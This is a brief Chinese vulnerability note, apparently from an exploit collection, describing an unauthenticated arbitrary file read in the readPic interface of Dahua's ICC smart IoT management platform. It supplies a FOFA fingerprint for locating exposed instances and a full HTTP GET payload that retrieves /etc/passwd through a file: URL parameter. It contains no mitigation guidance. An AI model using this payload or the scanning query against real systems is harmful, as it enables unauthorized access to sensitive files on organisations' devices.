D4-2大华-智能物联综合管理平台-任意文件读取

漏洞描述：

大华ICC智能物联综合管理平台 readpic接口处存在任意文件读取漏洞，未经身份验证的攻击者 可以获取系统内部敏感文件信息，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

FOFA：body="客户端会小于800"

漏洞复现：

payload：

```
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
```

效果图: